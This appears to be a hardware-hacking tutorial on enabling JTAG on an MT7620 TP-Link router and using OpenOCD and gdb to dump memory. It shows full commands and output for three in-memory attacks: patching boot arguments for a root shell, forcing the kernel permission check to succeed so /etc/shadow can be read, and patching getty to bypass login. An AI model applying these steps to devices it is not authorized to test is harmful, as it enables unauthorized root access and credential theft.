JTAG

Joint Test Action Group

Enabling JTAG

Using Bootstrapping Pin

In some cases JTAG is disabled by default and multiplexed with another feature, in this case the EPHY LEDs. In order for us to enable it again we need to study the datasheet.

Digging deeper into the datasheet we find that on boot the pin ANT_TRN controls if JTAG should be enabled or disabled, after boot the pin returns to its normal purpose. Default ANT_TRN is set low (0V) enabling EPHY_LED, if we want to enable JTAG we need to pull this pin high (5V) on boot.


Interacting with JTAG

  1. Make sure Tigard switch is set to JTAG mode

  2. Supply 3.3V power from Tigard using the power switch

  3. Create OpenOCD Tigard configuration file, tigard-jtag.cfg.

interface ftdi
ftdi_vid_pid 0x0403 0x6010
ftdi_channel 1
adapter_khz 2000
ftdi_layout_init 0x0038 0x003b
ftdi_layout_signal nTRST -data 0x0010
ftdi_layout_signal nSRST -data 0x0020
transport select jtag
  1. Connect using OpenOCD and Tigard configuration file

$ sudo apt install openocd
$ openocd -f tigard-jtag.cfg
Open On-Chip Debugger 0.10.0
...
Info : JTAG tap: auto0.tap tap/device found: 0x1635224f (mfg: 0x127 (MIPS Technologies), part: 0x6352, ver: 0x1
Warn : AUTO auto0.tap - use "jtag newtap auto0tap -irlen 5 -expected-id 0x1635224f"
Warn : gdb services need one or more targets defined

## Look for board configuration file
$ grep 1635224f /usr/share/openocd/scripts/target/*
  1. Download / create board specific configuration file, mt7620n.cfg

# MT7620 config, based on Atheros AR71xx config

#adapter_nsrst_delay 100
#jtag_ntrst_delay 100

#reset_config trst_and_srst

set CHIPNAME mt7620
set TARGETNAME $CHIPNAME.cpu

jtag newtap $CHIPNAME cpu -irlen 5 -expected-id 0x1635224f

target create $TARGETNAME mips_m4k -chain-position $TARGETNAME
$ openocd -f tigard-jtag.cfg -f mt7620n.cfg
Open On-Chip Debugger 0.10.0
...
Info : JTAG tap: auto0.tap tap/device found: 0x1635224f (mfg: 0x127 (MIPS Technologies), part: 0x6352, ver: 0x1
  1. OpenOCD server is successfully running. Open a new terminal and connect to the server:

$ telnet localhost 4444
...
Open On-Chip Debugger
> halt
target halted in MIPS32 mode due to debug-request, pc: 0x80011090

## dump 0x20000000 (size) data from memory address 0x80000000 to file mydump.bin
> dump_image mydump.bin 0x80000000 0x20000000

Debugging / Exploiting

Patching boot arguments (in memory)

Sometimes the boot arguments are hard-coded in the kernel:

Looking on line 0x020bcc0 and more specifically address 0x020bcc8 we have the hex data 0x324d0000. If we end the boot argument string with <space>1 (0x2031) it will tell the kernel to boot into single user mode, thus bypassing the login screen.

The kernel get loaded into the memory at address 0x80000000, making the interesting address to look on 0x8020bcc8, this is needed later.

To patch/exploit this start by opening three terminals.

## Terminal 1, UART to Router
TL-WR841N login: root
Password:
Login incorrect
## Terminal 2, OpenOCD Server
$ openocd -f tigard-jtag.cfg -f mt7620n.cfg
Open On-Chip Debugger 0.10.0
...
Info : JTAG tap: auto0.tap tap/device found: 0x1635224f (mfg: 0x127 (MIPS Technologies), part: 0x6352, ver: 0x1
## Terminal 3, Telnet to OpenOCD for patching/exploiting
$ telnet localhost 4444
...
Open On-Chip Debugger
> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x80005f80
> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x80005f80
> halt
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x80005f80

NOTE: If the system is reboots (you see this in the 1:st terminal) it's because the system has a watchdog timer and it thinks something went wrong. Just keep halting the system until the rebooting stops.

## Terminal 3
> mdw 0x8020bcc8
0x8020bcc8: 324d0000

## Write over the data, set a watchpoint and resume until something writes there
> mww 0x8020bcc8 0xffffffff
> mdw 0x8020bcc8
0x8020bcc8: ffffffff
> wp 0x8020bcc8 4; resume
target state: halted

## Remove the watchpoint and step pass it to keep it from halting, and see if something has been written.
> rwp 0x8020bcc8; step; mdw 0x8020bcc8
target state: halted
0x8020bcc8: 32ffffff

## 32 has been written, but we're still missing 4d. Set a new watchpoint, resume and repeat the process.
> wp 0x8020bcc8 4; resume
target state: halted
> rwp 0x8020bcc8; step; mdw 0x8020bcc8
target state: halted
0x8020bcc8: 324d0000

## We got the expected value 324d0000, so lets edit the data to patch/exploit the system.
> mww 0x8020bcc8 0x324d2031
> mdw 0x8020bcc8
0x8020bcc8: 324d2031

## (optional) Double check that the data is still there
> wp 0x8020bcc8 4; resume
target state: halted
> mdw 0x8020bcc8
0x8020bcc8: 324d2031

## Remove the watchpoint and resume. The system should now boot and give terminal 1 a root shell.
> rwp 0x8020bcc8; resume
## Terminal 1
BusyBox v1.01 ....
# id
uid=0(root) gid=0(root) groups=0(root)

Patching user privilege checks (in memory)

With an low privileged user we're not able to read files such as /etc/shadow. We can circumvent this by patching the permissions through JTAG directly in the memory, giving us full read access. This is just a simple PoC and can be used in many other similar ways.

## Terminal 1
$ cat /etc/shadow
cat: can't open '/etc/shadow': Permission denied

## List all kernel symbols
$ cat /proc/kallsyms
...

## List kernel symbols handling permissions
$ cat /proc/kallsyms | grep permission
...
800a8a38 t generic_permission
## Terminal 2 (JTAG is connected and OpenOCD server is running on another terminal) 
$ gdb-multiarch 
(gdb) set arch mips
The target architecture is assumed to be mips
(gdb) target remote localhost:3333
Remote debugging using localhost:3333
...
0x80011090 in ?? ()

## Look on the instructions at the generic_permission address
(gdb) x/70i 0x800a8a38
0x800a8a38:  addiu   sp,sp,-40
0x800a8a3c:  sw      s2,28(sp)     <-- preserve state with save word (sw), copy registers to stack
0x800a8a40:  sw      s0,20(sp)
0x800a8a44:  sw      ra,36(sp)
0x800a8a48:  sw      s3,32(sp)
0x800a8a4c:  sw      s1,24(sp)
.. 
0x800a8b2c:  li      v0,-13        <-- load immediate (li), load value -13 (return code) into register v0
0x800a8b30:  lw      ra,36(sp)     <-- load word (lw) from stackpointer into register, doing the job.
0x800a8b34:  lw      s3,32(sp)
0x800a8b38:  lw      s2,28(sp)
0x800a8b3c:  lw      s1,24(sp)
0x800a8b40:  lw      s0,20(sp)
..

NOTE: If you get all 0’s in GDB, the system might not be properly halted.

A call to a function that checks permission will either return a value that grants permission – in this case 0 – or another value that might be an error code – in this case -EACCES (represented as 0xfffffff3 or -13 ). In the example above, this result is stored in the register v0, and then the function returns to the caller.

We can patch/exploit this by putting a breakpoint on this li instruction, and when it tries to deny access by returning -13 or 0xfffffff3, we simply replace the value with 0.

## Terminal 2
(gdb) b *0x800a8b2c
Breakpoing 1 at 0x800a8b2c
(gdb) c
Continuing.
## Terminal 1
$ cat /etc/shadow
## Terminal 2
Program Stopped.
0x800a8b2c in ?? ()

## Check the value of v0 in the register
(gdb) i r        
        zero        at        v0        v1        a0        a1        a2        a3
R0  00000000  fffffff8  00000000  00000000  8392d158  803020c0  00000038  00000001
..

## Look on the next 5 instructions at the program counter
(gdb) x/5i $pc
=> 0x800a8b2c:  li     v0,-13
   0x800a8b30:  lw     ra,36(sp)
   0x800a8b34:  lw     s3,32(sp)
   0x800a8b38:  lw     s2,28(sp)
   0x800a8b3c:  lw     s1,24(sp)
   0x800a8b40:  lw     s0,20(sp)
   
## Next thing that will happen is to load the value -13 into v0. Confirm this.
(gdb) stepi
(gdb) x/5i $pc 
=> 0x800a8b30:  lw     ra,36(sp)
   0x800a8b34:  lw     s3,32(sp)
   0x800a8b38:  lw     s2,28(sp)
   0x800a8b3c:  lw     s1,24(sp)
   0x800a8b40:  lw     s0,20(sp)
   0x800a8b44:  jr     ra
(gdb) i r
        zero        at        v0        v1        a0        a1        a2        a3
R0  00000000  fffffff8  fffffff3  00000000  8392d158  803020c0  00000038  00000001
..

## v0 is set to fffffff3, it will deny our request to read /etc/shadow. Lets patch this!
(gdb) set $v0=0
(gdb) i r        
        zero        at        v0        v1        a0        a1        a2        a3
R0  00000000  fffffff8  00000000  00000000  8392d158  803020c0  00000038  00000001
..
(gdb) c
Continuing.
## Terminal 1
root::0:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
...

Patching getty to bypass login (in memory)

The /bin/getty binary handles login to a system. Using the flag -f will force authentication without asking for a password, making it possible to simply login as root using login -f root. In some versions of getty, how they handle this is that they hard-coded -- at the end of the string, invalidating any other flags.

What we can do using JTAG, is to find the bytes -- (2d 2d) and patch it to -f (2d 66) thus being able to bypass the login as any user. But how should we find 1 byte of data in the memory?

One way is to write a script to read 8 bytes of data at offset 0x7c9 and compare to the known signature 00 2d 2d 00 25 73 3a 20. If it's a match we can immediately patch it and hopefully gain access to the system.

## Terminal 1
void login: root
Password:
Login incorrect
## Terminal 2, JTAG is connected and OpenOCD server is running on another terminal
./ocd_rpc_getty.py -t yocto -s 0x80000000 -e 0x10000000
target state: halted
0x09dc97c9: 0x25002d2d 0x63203a73
Patching 0x09dc97ca to 0x66
## Terminal 1
void login: root
Password:
Login incorrect

Patch failed, it's possible that there are several copies of getty in memory, or even another bit of memory that contains the same string. Run the script again.

## Terminal 2
./ocd_rpc_getty.py -t yocto.cfg -s 0x80000000 -e 0x10000000
target state: halted
0x09dd17c9: 0x25002d2d 0x63203a73
Patching 0x09dd17c9 to 0x66
## Terminal 1
void login: root
root@void:~#

Script used can be found HERE.

This could also be accomplished by using forensics tools such as inception or PCILeech.

Last updated